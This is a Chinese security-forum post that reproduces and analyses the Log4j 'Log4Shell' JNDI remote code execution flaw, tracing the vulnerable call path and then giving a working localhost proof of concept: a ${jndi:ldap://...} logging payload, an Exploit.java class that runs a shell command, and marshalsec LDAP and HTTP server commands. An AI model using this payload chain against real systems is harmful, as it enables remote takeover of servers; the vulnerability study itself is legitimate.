[漏洞利用] 【漏洞复现】Apache Log4j 漏洞利用分析

202 0
Honkers 2025-3-5 22:37:59 | 显示全部楼层 |阅读模式

Apache Log4j 项目被爆存在远程代码执行漏洞,且利用简单,影响危害巨大,光是引入了 log4j2 依赖的组件都是数不清,更别提项目本身可能存在的风险了,复现漏洞来学习一下,希望可以帮助到大家。

一、影响范围

引用了版本处于2.x < 2.15.0-rc2的 Apache log4j-core的应用项目或组件

二、复现环境

Log4j-core 2.14.1

Marshalsec

JDK-1.8.0_221

三、 漏洞分析

测试代码如下:

  1. #log4j,java
  2. import org.apache.logging.log4j.LogManager;
  3. import org.apache.logging.log4j.Logger;
  4. public class log4j {
  5. private static final Logger logger = LogManager.getLogger(log4j.class);
  6. public static void main(String[] args) {
  7. //The default trusturlcodebase of the higher version JDK is false
  8. System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
  9. logger.error("${jndi:ldap://127.0.0.1:1389/exploit1}");
  10. }
  11. }
  12. #pom.xml
  13. <?xml version="1.0" encoding="UTF-8"?>
  14. <project xmlns="http://maven.apache.org/POM/4.0.0"
  15. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  16. xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  17. <modelVersion>4.0.0</modelVersion>
  18. <groupId>org.example</groupId>
  19. <artifactId>log4j-rce</artifactId>
  20. <version>1.0-SNAPSHOT</version>
  21. <!--
  22. add properties to fix compilation error
  23. source contribution from stack overflow link
  24. https://stackoverflow.com/questions/53034953/error-source-option-5-is-no-longer-supported-use-6-or-later-on-maven-compile
  25. -->
  26. <properties>
  27. <maven.compiler.source>6</maven.compiler.source>
  28. <maven.compiler.target>1.6</maven.compiler.target>
  29. </properties>
  30. <dependencies>
  31. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
  32. <dependency>
  33. <groupId>org.apache.logging.log4j</groupId>
  34. <artifactId>log4j-core</artifactId>
  35. <version>2.14.1</version>
  36. </dependency>
  37. <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
  38. <dependency>
  39. <groupId>org.apache.logging.log4j</groupId>
  40. <artifactId>log4j-api</artifactId>
  41. <version>2.14.1</version>
  42. </dependency>
  43. </dependencies>
  44. <!--
  45. add assembly to fix noclassfound error in
  46. java -cp log4j-rce-1.0-SNAPSHOT.jar log4j
  47. use the following instead
  48. java -cp log4j-rce-1.0-SNAPSHOT-all.jar log4j
  49. source contribution from the following link
  50. https://github.com/jeffli1024/log4j-rce-test/blob/main/apache-log4j-poc/pom.xml
  51. -->
  52. <build>
  53. <plugins>
  54. <plugin>
  55. <groupId>org.apache.maven.plugins</groupId>
  56. <artifactId>maven-surefire-plugin</artifactId>
  57. <version>2.19.1</version>
  58. </plugin>
  59. <plugin>
  60. <artifactId>maven-assembly-plugin</artifactId>
  61. <configuration>
  62. <finalName>${project.artifactId}-${project.version}-all</finalName>
  63. <appendAssemblyId>false</appendAssemblyId>
  64. <descriptorRefs>
  65. <descriptorRef>jar-with-dependencies</descriptorRef>
  66. </descriptorRefs>
  67. </configuration>
  68. <executions>
  69. <execution>
  70. <id>make-assembly</id>
  71. <phase>package</phase>
  72. <goals>
  73. <goal>single</goal>
  74. </goals>
  75. </execution>
  76. </executions>
  77. </plugin>
  78. </plugins>
  79. </build>
  80. </project>
复制代码

根据官方的修订信息:https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3201?filter=allissues

可以知道,是通过 jndi 中 LDAP 注入的方式实现了 RCE

JNDI lookup 的用法:

JndiLookup 允许通过 JNDI 检索变量,然后给了示例:

  1. <File name="Application" fileName="application.log">
  2. <PatternLayout>
  3. <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  4. </PatternLayout>
  5. </File>
复制代码

实际上通过 log4j2 支持的方法那张图中就可以发现log4j 中 jdni 的用法格式如下:

  1. ${jndi:JNDIContent}
复制代码

既然明确了lookup是触发漏洞的点,并且找到了可以触发 lookup的方法 ,那么就可以找入口点,只要找到入口点,然后传入 jndi 调用 ldap 的方式,就能够实现 RCE。

那么,哪一个入口点可以传入${jndi:JNDIContent}呢?

没错了,就是LogManager.getLogger().xxxx()方法

在log4j2中,共有8 个日志级别,可以通过LogManager.getLogger()调用记录日志的方法如下:

  1. LogManager.getLogger().error()
  2. LogManager.getLogger().fatal()
  3. LogManager.getLogger().trace()
  4. LogManager.getLogger().traceExit()
  5. LogManager.getLogger().traceEntry()
  6. LogManager.getLogger().info()
  7. LogManager.getLogger().warn()
  8. LogManager.getLogger().debug()
  9. LogManager.getLogger().log()
  10. LogManager.getLogger().printf()
复制代码

上述列表中,error()和fatal()方法可默认触发漏洞,其余的方法需要配置日志级别才可以触发漏洞。

只有当当前事件的日志等级大于等于设置的日志等级时,才会符合条件,进入logMessage()方法

由于这些调用方法触发漏洞的原理都是一样的,所以本文就以 error 举例说明。

查看 error 的类继承关系可以发现,实际上会调用AbstractLogger.java中的public void error()方法:

因为在logIfEnabled方法中,对当前日志等级进行了一次判断:

如果符合,那么会进行logMessage操作

后续不关键调用路径如下:

  1. logMessage ---->
  2. logMessageSafely ---->
  3. logMessageTrackRecursion ---->
  4. tryLogMessage ---->
  5. log
复制代码

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

  1. Loggger.log ---->
  2. DefaultReliabilityStrategy.log ---->
  3. loggerConfig.log ---->
  4. processLogEvent ---->
  5. callAppenders---->
  6. AppenderControl.callAppenders ---->
  7. tryCallAppender ---->
  8. AbstractOutputStreamAppender.append ---->
  9. tryAppend ---->
  10. directEncodeEvent ---->
  11. PatternLayout.encode ---->
  12. toText ---->
  13. toSerializable ---->
  14. format
复制代码

这里的formatters方法包含了多个formatter对象,其中出发漏洞的是第8个,其中包含MessagePatternConverter

继续跟着代码走下去,走到了MessagePatternCoverter.class文件的format函数下;

如果检测到$字符后跟了一个{字符,那么会对直到}中间的内容进行解析并replace。

继续跟进就进入到了 StrSubstitutor的substitute函数下

这里就是漏洞发生的主要部分了,基本上是递归处理里面的语法内容,还有一些内置的语法

prefixMatcher是${
suffixMatcher是}

其实这里是触发漏洞的必要条件,通常情况下程序员会这样写日志相关代码

  1. logger.error("error_message:" + info);
复制代码

黑客的恶意输入有可能进入info变量导致这里变成

  1. logger.error("error_message:${jndi:ldap://127.0.0.1:1389/badClassName}");
复制代码

这里的递归处理成功地让jndi:ldap://127.0.0.1:1389/badClassName进入resolveVariable方法

进过语法处理,varname会被修改为对应语法的对应部分(重要绕过),最后会进入resolveVariable()方法中

而resolveVariable这里则直接根据不同的协议进入相应的lookup,其中jndi.lookup就会导致漏洞,而lookup支持的协议也有很多种包括{date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j}

在Interpolator.lookup方法中,首先会获取字符串的前缀值:

如果匹配到内置方法,那么就进入对应的处理方法,这里是 JNDI 方法,那么就会由JndiLookup类进一步处理:

最终加载由攻击者传入的LDAP服务端地址,然后返回一个恶意的JNDI Reference对象,触发漏洞,实现 RCE。

四、 漏洞利用

1、 编写利用类

因为利用ldap方式进行命令执行,首先要编写最后的命令执行代码。
Exploit.java

  1. import java.io.BufferedReader;
  2. import java.io.IOException;
  3. import java.io.InputStream;
  4. import java.io.InputStreamReader;
  5. import java.io.Reader;
  6. import javax.print.attribute.standard.PrinterMessageFromOperator;
  7. public class Exploit{
  8. public Exploit() throws IOException,InterruptedException{
  9. String cmd="touch /tmp/xxx";
  10. final Process process = Runtime.getRuntime().exec(cmd);
  11. printMessage(process.getInputStream());;
  12. printMessage(process.getErrorStream());
  13. int value=process.waitFor();
  14. System.out.println(value);
  15. }
  16. private static void printMessage(final InputStream input) {
  17. // TODO Auto-generated method stub
  18. new Thread (new Runnable() {
  19. @Override
  20. public void run() {
  21. // TODO Auto-generated method stub
  22. Reader reader =new InputStreamReader(input);
  23. BufferedReader bf = new BufferedReader(reader);
  24. String line = null;
  25. try {
  26. while ((line=bf.readLine())!=null) {
  27. System.out.println(line); }
  28. }catch (IOException e){
  29. e.printStackTrace();
  30. } }
  31. }).start(); }}
复制代码

编译代码后,

  1. javac Exploit.java
复制代码

开启HTTP服务

  1. python -m http.server
复制代码

2、 开启ldap服务

  1. java -cp marshalsec-0.0.3-SNAPSHOT-all.jar
  2. marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#exploit1
复制代码


希望可以对大家有所帮助哦!!!
图片是我的公众号重新截图,所以有些模糊,大家见谅哦~

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Honkers

特级红客

关注
  • 3156
    主题
  • 36
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行